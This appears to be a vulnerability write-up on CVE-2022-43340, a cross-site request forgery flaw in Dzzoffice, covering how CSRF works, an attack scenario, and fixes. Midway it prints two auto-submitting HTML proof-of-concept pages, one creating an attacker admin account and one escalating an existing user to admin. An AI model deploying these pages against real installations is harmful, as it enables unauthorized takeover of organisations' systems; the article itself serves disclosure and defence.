---
Introduction
In late 2022, a critical security flaw was discovered in Dzzoffice version 2.02.1_SC_UTF8. Tracked as CVE-2022-43340, this bug allows attackers to exploit a Cross-Site Request Forgery (CSRF) vulnerability. In plain terms, hackers can trick an authenticated admin into performing unintended actions—such as creating new user accounts or giving themselves admin rights—without their knowledge.
This article breaks down what the vulnerability is, how it works, and shows a simple proof-of-concept (PoC) exploit that demonstrates just how easy it is to abuse this weakness.
What Is CSRF?
CSRF is a type of web attack that forces authenticated users to submit a request to a web application they’re currently logged into, without their consent. If the app does not require some kind of unique token (CSRF token) for sensitive operations, attackers can forge requests from anywhere. For example, clicking a malicious link or simply visiting a web page.
The Vulnerability in Dzzoffice
Dzzoffice is a popular web-based office management suite. In version 2.02.1_SC_UTF8, both user account creation and privilege updates are performed via HTTP POST requests. The application does *not* check for CSRF tokens, nor does it verify whether requests came from the legitimate admin interface.
References
- NVD Entry for CVE-2022-43340
- Exploit-DB listing
- Dzzoffice GitHub
How Does the Exploit Work?
Let’s say Alice is the admin of her company’s Dzzoffice installation. She logs in to manage users. Meanwhile, an attacker, Mallory, sends Alice a carefully crafted HTML email. Alice clicks a link in the email or simply visits a malicious website while still logged in.
While Alice browses the attacker's page, her browser silently submits a hidden form that tells Dzzoffice to create an attacker-controlled admin account or give admin rights to Mallory. Because Alice’s session cookie is valid, Dzzoffice thinks these actions are being performed by her.
Here’s a simple attack page Mallory might use
<html>
<body>
<h2>Loading...</h2>
<!-- This form creates a new admin user -->
<form id="csrf" action="http://vulnerable-dzzoffice.com/admin.php?mod=users&op=add"; method="POST">
<input type="hidden" name="username" value="eviladmin" />
<input type="hidden" name="password" value="H@ckmepass123" />
<input type="hidden" name="email" value="evil@attacker.com" />
<input type="hidden" name="groupid" value="1" /> <!-- 1 for admin group -->
<input type="hidden" name="submit" value="yes" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
The admin notices nothing.
Note: You’d need to adjust the URL and parameters if the setup differs.
Instead of creating a new user, the attacker can use a similar form aimed at the edit user endpoint
<form id="csrf" action="http://vulnerable-dzzoffice.com/admin.php?mod=users&op=edit&uid=123"; method="POST">
<input type="hidden" name="groupid" value="1" /> <!-- 1 for admin group -->
<input type="hidden" name="submit" value="yes" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
Potentially change passwords or emails for any user
This means attackers can *completely take over* the Dzzoffice instance. If you use Dzzoffice to hold sensitive documents or manage critical business data, this is a catastrophic risk.
To fix this, Dzzoffice must
- Implement CSRF protection (random tokens on every sensitive form/request)
References & Further Reading
- OWASP: Cross-Site Request Forgery (CSRF)
- NVD Entry: CVE-2022-43340
- Dzzoffice Official Site
- Exploit-DB 50936
Conclusion
CVE-2022-43340 is a striking example of how the absence of basic security (like CSRF tokens) can result in complete compromise of even sophisticated web apps. If you run Dzzoffice, patch immediately—and always remember: never rely solely on login sessions to secure sensitive actions. Attackers are watching for mistakes just like this.
Timeline
Published on: 10/27/2022 20:15:00 UTC
Last modified on: 10/31/2022 15:57:00 UTC